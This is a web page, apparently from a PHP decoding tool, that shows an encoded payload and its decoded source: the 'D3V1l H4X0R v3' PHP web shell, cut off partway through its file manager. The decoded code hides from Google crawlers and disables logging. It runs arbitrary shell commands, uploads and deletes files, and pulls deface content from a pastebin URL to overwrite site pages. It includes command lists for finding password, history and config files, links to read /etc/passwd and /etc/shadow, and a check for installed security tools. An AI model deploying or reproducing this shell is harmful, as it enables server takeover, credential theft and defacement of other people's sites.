Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $pcs="PD9waHAKJGRlZmFjZV91cmw9J2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L2FNVHp6bTV0JzsKJGNvb..

Decoded Output download

?>b'<?php
$deface_url=\'http://pastebin.com/raw/aMTzzm5t\';
$color="#ABEFFA";
$Theme=\'#09B5A7\';
$TabsColor=\'#0E5062\';
$default_action=\'FilesMan\';
@define(\'SELF_PATH\',__FILE__);
if(strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\')!==false){
header(\'HTTP/1.0 404 Not Found\');
exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'display_errors\',0);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if(get_magic_quotes_gpc()){
function stripslashes_array($array){
return is_array($array)?array_map(\'stripslashes_array\',$array):stripslashes($array);
}
$_POST=stripslashes_array($_POST);
}
function printLogin(){
if($_POST[\'pass\']!=$auth_pass&&$_POST[\'uname\']!=$UserName){
$status=\'Wrong Password or UserName :(\';
}
?>
<html>
<head>
<title>D3V1l H4X0R v3</title>
<link href="https://fonts.googleapis.com/css?family=Josefin+Sans:400,100" rel="stylesheet">
</head>
<style>
body{
font-family:Josefin Sans,sans-serif;
background:black;
color:#ABEFFF;
}
}
.loginpage{
height:400px;
width:500px;
border:1px solid;
border-color:#ABEFFF;
text-align:center;
border-radius:5px;
margin-top:100px;
}
#pageheading{
font-size:25px;
color:#ABEFFF;
margin-top:10px;
}
.loginpage img{
width:500px;
}
input{
background:black;
border-color:#ABEFFF;
border-radius:10px;
margin-top:10px;
padding:5px;
color:#ABEFFF;
}
input:hover{
background:#ABEFFF;
color:red;
}
</style>
<body>
<center>
<div class="loginpage">
<img src="http://i.imgur.com/w88M6hl.png"alt="D3V1l Logo">
<div id="pageheading">D3V1l H4X0R Shell</div>
<form method="post">
User Name:<input type="text"name="uname"><br>
Password:<input type="password"name="pass"><br>
<input type="submit" name="login" value="Login">
<?php
if (isset($status)) {
?>
</form>
</d<p><?=$status?></p> 
</center>
</body>
</html>
<?php
}
exit;
}
if(!isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])]))
if(empty( $auth_pass )||
(isset($_POST[\'pass\']) &&($_POST[\'pass\']) == $auth_pass&& ($_POST[\'uname\']) == $UserName))
$_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;
else
printLogin();
if(strtolower(substr(PHP_OS,0,3))=="win")
$os=\'win\';
else
$os=\'nix\';
$safe_mode=@ini_get(\'safe_mode\');
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd=@getcwd();
if( isset($_POST[\'c\']))
@chdir($_POST[\'c\']);
$cwd = @getcwd();
if( $os == \'win\') {
$home_cwd=str_replace("\", "/", $home_cwd);
$cwd=str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1]!= \'/\' )
$cwd .= \'/\';
if($os==\'win\'){
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
}
else{
$aliases = array(
"List dir" => "ls -la",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate \'.conf\'",
"locate .pwd files" => "locate \'.pwd\'",
"locate .sql files" => "locate \'.sql\'",
"locate .htpasswd files" => "locate \'.htpasswd\'",
"locate .bash_history files" => "locate \'.bash_history\'",
"locate .mysql_history files" => "locate \'.mysql_history\'",
"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'deface\') {
$def = file_get_contents($deface_url);
file_put_contents($_POST[\'c\'].$_POST[\'p2\'],$def);
}
function ex($in) {
$out = \'\';
if ( function_exists(\' exec \')) {
@exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists(\'passthru\')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists(\'system\')) {
ob_start();
@system($in);
$out = ob_get_clean();
}elseif(function_exists(\'shell_exec\')) {
$out = shell_exec($in);
}elseif(is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function which($p) {
$path = ex(\'which \'.$p);
if(!empty($path))
return $path;
return false;
}
function printHeader() {
if(empty($_POST[\'charset\']))
$_POST[\'charset\'] = "UTF-8";
global $color;
global $Theme;
global $TabsColor;
echo "<html><head><link href=\'https://fonts.googleapis.com/css?family=Josefin+Sans:400,100\' rel=\'stylesheet\' type=\'text/css\'></head>";
echo \'<html>
<meta http-equiv="Content-Type" content="text/html; charset=\'.$_POST[\'charset\'].\'"><title>D3V1l H4X0R v3</title>
<style>
body {background-color:black;color:#fff;}
body,td,th{ font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
span,h1,a{ color:\'.$color.\' !important; }
span{ font-weight: bolder; }
h1{ padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
div.content{ padding: 0px;margin:0 0px;background: #0F1010;border:1px solid \'.$Theme.\'; border-radius:5px;}
a{ text-decoration:none; }
a:hover{ border-bottom:0px solid #5e5e5e;text-decoration:none; }
a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
.ml1{ border:1px solid \'.$Theme.\';padding:px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:\'.$Theme.\'; background:#2F2F2F;}
input, textarea, select{ margin-top:0;color:#63E1FF;background-color:black;border-radius:5px;border:1px solid \'.$Theme.\'; border-radis:5px;font: 10pt arial,"Courier New"; }
input[type="button"]:hover,input[type="submit"]:hover {background-color:#094F60;color:black;text-decoration:none;} 
form{ margin:0px; background:#0F1010;}
#toolsTbl{ text-align:center; }
.toolsInp{ width: 80%; background:black; border-radius:5px; border-color:\'.$Theme.\'; }
.main th{text-align:left;background-color:\'.$TabsColor.\';}
.main tr:hover{background:\'.$Theme.\'; border:5px solid;border-color:\'.$Theme.\';}
.main td, th{vertical-align:middle;}
.menu { height:30px; border-radius:10px;}
.menu th{padding:1px;border-radius: 5px;background:\'.$TabsColor.\'; -webkit-transform: rotate(20deg);
-moz-transform: rotate(20deg);
-o-transform: rotate(20deg);
-ms-transform: rotate(20deg);
transform: rotate(20deg);}
.menu th:hover{background:#0F1010;text-decoration: none;}
pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
.cpr {margin-bottom:5px;font-weight:bold; }
.cpb {width:34px;margin:0 5px;}
.npoad td {padding:0;}
#D3V1ltools{
margin-top:50px;
width:500px;
border:1px solid;
border-radius:10px;
}
.D3V1llogo td{
font-size:12px;
font-weight:bold;
}
.D3V1llogo{
margin-left:5px;
background-repeat: no-repeat;
background-position: CENTER; 
background-color:#0F1010;
background-size: 400px 120px;
}
</style>
</html>
<style type="text/css">body, a:hover {text-decoration:none;cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
<script>
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;
if(c != null)document.mf.c.value=c;
if(p1 != null)document.mf.p1.value=p1;
if(p2 != null)document.mf.p2.value=p2;
if(p3 != null)document.mf.p3.value=p3;
if(charset != null)document.mf.charset.value=charset;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = "ajax=true";
for(i=0;i<document.mf.elements.length;i++)
params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
sr("\'.$_SERVER[\'REQUEST_URI\'].\'", params);
}
function sr(url, params) {
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
} 
else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
//alert(req.responseText);
var reg = new RegExp("(\d+)([\S\s]*)", "m");
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} 
else alert("Request error!");
}
</script>
<head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid \'.$Theme.\'; border-radius:5px;">
<form method=post name=mf style="display:none;">
<input type=hidden name=a value="\'.(isset($_POST[\'a\'])?$_POST[\'a\']:\'\').\'">
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=p1 value="\'.(isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'">
<input type=hidden name=p2 value="\'.(isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\').\'">
<input type=hidden name=p3 value="\'.(isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\').\'">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
</form>\';
$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
$totalSpace = $totalSpace?$totalSpace:1;
$disable_functions = @ini_get(\'disable_functions\');
$release = @php_uname(\'r\');
$kernel = @php_uname(\'s\');
if(!function_exists(\'posix_getegid\')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$cwd_links = \'\';
$path = explode("/", $GLOBALS[\'cwd\']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].\'/\';
$cwd_links .= "\")\'>".$path[$i]."/</a>";
}
$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
$opt_charsets = \'\';
foreach($charsets as $item)
$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
$m = array(\'Import Scripts\'=>\'ImportScripts\',\'Jumping\'=>\'Jumping\',\'Symlink\'=>\'Symlink\',\'Domains\' => \'Domain\',\'Shared Hostings\'=>\'Shared\',\'Sym Sites\'=>\'Sym\',\'Subdomain\'=>\'Subdomain\',\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Safe Mode\'=>\'Bypass\',\'String tools\'=>\'StringTools\',\'Defacer\' => \'Deface\',\'Recursive Defacer\'=>\'Defacer\');
if(!empty($GLOBALS[\'auth_pass\']))
$m[\'Logout\'] = \'Logout\';
$menu = \'\';
foreach($m as $k => $v)
$menu .= \'<th><a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a></th>\';
$drives = "";
if ($GLOBALS[\'os\'] == \'win\') {
foreach( range(\'a\',\'z\') as $drive ){
if (is_dir($drive.\':\\'))
$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
}
$drives .= \'<br />: \';
}
if($GLOBALS[\'os\'] == \'nix\') {
$dominios = @file_get_contents("/etc/named.conf");
if(!$dominios) {
$DomainS = "/var/named";
$Domainonserver = scandir($DomainS);
$d0c = count($Domainonserver);
} else {
@preg_match_all(\'/.*?zone "(.*?)" {/\', $dominios, $out);
$out = sizeof(array_unique($out[1]));
$d0c = $out."Domains";
}
} else {
$d0c = "Nothing here bro:(";
}
if($GLOBALS[\'os\'] == \'nix\' )
{
$usefl = \'\'; $dwnldr = \'\';
if(!@ini_get(\'safe_mode\')) {
$temp = array();
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
foreach($userful as $item) { if(which($item)) $temp[]= $item; }
$usefl = implode(\', \',$temp);
$temp = array();
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
$dwnldr = implode(\', \',$temp);
} else {
$usefl = \' ------- \'; $dwnldr = \' ------- \';
}
} else { 
$usefl = \' ------- \'; $dwnldr = \' ------- \';
} 
echo \'<div class="D3V1llogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
<td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>\'.substr(@php_uname(), 0, 120).\'</nobr></td></tr>
<tr><td><span>User</span></td><td>: \'.$uid.\' ( \'.$user.\' ) <span>Group: </span> \'.$gid.\' ( \'.$group.\' )</td></tr><tr><td><span>Server</span></td><td>: \'.@getenv(\'SERVER_SOFTWARE\').\'</td></tr><tr><td><span>Useful</span></td><td>: \'.$usefl.\'</td></tr><tr><td><span>Downloaders</span></td><td>: \'.$dwnldr.\'</td></tr><tr><td><span>D/functions</span></td><td>: \'.($disable_functions?$disable_functions:\'All Function Enable\').\'</td></tr><tr><td><span>\'.($GLOBALS[\'os\'] == \'win\'?\'Drives<br />Cwd\':\'Cwd\').\'</span></td><td>: \'.$drives.\'\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>\'.
 \'<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>\'.
 \'<td><nobr>: \'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br>: \'.$_SERVER[\'REMOTE_ADDR\'].\'<br />: \'.viewSize($totalSpace).\'<br />: \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>: \'.@phpversion().\' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=\'.$color.\'<b>OFF</b></font>\').\'<br />: \'.$d0c.\'</nobr></td></tr></table></div>\'.
 \'</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>\'.$menu.\'</tr></table></div></div><div style="margin:5;background:black;">\';
}
function printFooter() {
$is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
echo \'</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid \'.$Theme.\'; border-radius:5px;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
<tr>
<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"><input type=submit value=">>"></form></td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
</tr>
<tr>
<td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>\'.$is_writable.\'</td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
</tr>
<tr>
<td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
<td><form method="post" ENCTYPE="multipart/form-data">
<input type=hidden name=a value="FilesMAn">
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=p1 value="uploadFile">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
</tr>
</table></div></div>
<div style="margin:5px;background:black;"><div class="content" style="border:2px solid \'.$Theme.\';text-align:center;font-weight:bold; border-radius:10px;margin:auto; width:500;">D3V1l H4X0R Shell v3 coded by <a href="https://www.facebook.com/D3Vil.H4X0R"> D3V1l H4X0R</a></div></div>
</div>
</body></html>\';
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }
function viewSize($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
else
return $s . \' B\';
}
function perms($p) {
if (($p & 0xC000) == 0xC000)$i = \'s\';
elseif (($p & 0xA000) == 0xA000)$i = \'l\';
elseif (($p & 0x8000) == 0x8000)$i = \'-\';
elseif (($p & 0x6000) == 0x6000)$i = \'b\';
elseif (($p & 0x4000) == 0x4000)$i = \'d\';
elseif (($p & 0x2000) == 0x2000)$i = \'c\';
elseif (($p & 0x1000) == 0x1000)$i = \'p\';
else $i = \'u\';
$i .= (($p & 0x0100) ? \'r\' : \'-\');
$i .= (($p & 0x0080) ? \'w\' : \'-\');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
$i .= (($p & 0x0020) ? \'r\' : \'-\');
$i .= (($p & 0x0010) ? \'w\' : \'-\');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
$i .= (($p & 0x0004) ? \'r\' : \'-\');
$i .= (($p & 0x0002) ? \'w\' : \'-\');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
return $i;
}
function viewPermsColor($f) { 
if (!@is_readable($f))
return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';
elseif (!@is_writable($f))
return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
else
return \'<font color=#00BB00><b>\'.perms(@fileperms($f)).\'</b></font>\';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh= opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function actionSecInfo() {
printHeader();
echo \'<h1>Server security information</h1><div class=content>\';
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo \'<span>\'.$n.\': </span>\';
if(strpos($v, "
") === false)
echo $v.\'<br>\';
else
echo \'<pre class=ml1>\'.$v.\'</pre>\';
}
}
showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
$temp=array();
if(function_exists(\'mysql_get_client_info\'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists(\'mssql_connect\'))
$temp[] = "MSSQL";
if(function_exists(\'pg_connect\'))
$temp[] = "PostgreSQL";
if(function_exists(\'oci_connect\'))
$temp[] = "Oracle";
showSecParam(\'Supported databases\', implode(\', \', $temp));
echo \'<br>\';
if( $GLOBALS[\'os\'] == \'nix\' ) {
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
if(!$GLOBALS[\'safe_mode\']) {
echo \'<br>\';
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Userful\', implode(\', \',$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Danger\', implode(\', \',$temp));
$temp=array();
foreach ($downloaders as $item) 
if(which($item)){$temp[]=$item;}
showSecParam(\'Downloaders\', implode(\', \',$temp));
echo \'<br/>\';
showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
showSecParam(\'HDD space\', ex(\'df -h\'));
showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
}
} else {
showSecParam(\'OS Version\',ex(\'ver\')); 
showSecParam(\'Account Settings\',ex(\'net accounts\')); 
showSecParam(\'User Accounts\',ex(\'net user\'));
}
echo \'</div>\';
printFooter();
}
function actionFilesMan() {
printHeader();
echo \'<h1>File manager</h1><div class=content>\';
if(isset($_POST[\'p1\']) && $_POST[\'p1\']!=\'deface\') {
switch($_POST[\'p1\']) {
case \'uploadFile\':
if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
echo "Can\'t upload file!";
break;
break;
case \'mkdir\':
if(!@mkdir($_POST[\'p2\']))
echo "Can\'t create new dir";
break;
case \'delete\':
function deleteDir($path) {
$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
$dh= opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
rmdir($path);
}
if(is_array(@$_POST[\'f\']))
foreach($_POST[\'f\'] as $f) {
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case \'paste\':
if($_SESSION[\'act\'] == \'copy\') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION[\'f\'] as $f)
copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);
} elseif($_SESSION[\'act\'] == \'move\') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION[\'f\'] as $f)
@rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f);
}
unset($_SESSION[\'f\']);
break;
default:
if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) {
$_SESSION[\'act\'] = @$_POST[\'p1\'];
$_SESSION[\'f\'] = @$_POST[\'f\'];
foreach($_SESSION[\'f\'] as $k => $f)
$_SESSION[\'f\'][$k] = urldecode($f);
$_SESSION[\'cwd\'] = @$_POST[\'c\'];
}
break;
}
echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\';
}
$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if($dirContent === false) {echo \'Can\'t open this folder!\'; return;}
global $sort;
$sort = array(\'name\', 1);
if(!empty($_POST[\'p1\'])) {
if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo \'<script>
function sa() {
for(i=0;i<document.files.elements.length;i++)
if(document.files.elements[i].type == \'checkbox\')
document.files.elements[i].checked = document.files.elements[0].checked;
}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post>\';
echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = $links = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array(\'name\' => $dirContent[$i],
 \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
 \'modify\' => @date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
 \'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
 \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
